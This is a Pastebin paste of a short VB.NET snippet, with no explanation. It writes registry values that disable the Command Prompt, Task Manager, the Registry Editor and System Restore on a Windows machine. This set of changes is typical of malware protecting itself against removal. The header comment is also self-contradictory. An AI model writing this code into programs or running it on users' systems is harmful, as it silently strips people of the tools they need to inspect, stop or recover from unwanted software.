Advertisement
wzLeonardo

Disable

Jan 29th, 2017
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.87 KB | None | 0 0
  1. '# Value 1 To Disable 0 To Disable
  2. '########### Disable CMD
  3. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "1", Microsoft.Win32.RegistryValueKind.DWord)
  4. '########### Disable Task Manager
  5. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableTaskMgr", "1", Microsoft.Win32.RegistryValueKind.DWord)
  6. '########### Disable Disable Regedit
  7. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableRegistryTools", "1", Microsoft.Win32.RegistryValueKind.DWord)
  8. '########### Disable Disable SystemRestore
  9. My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement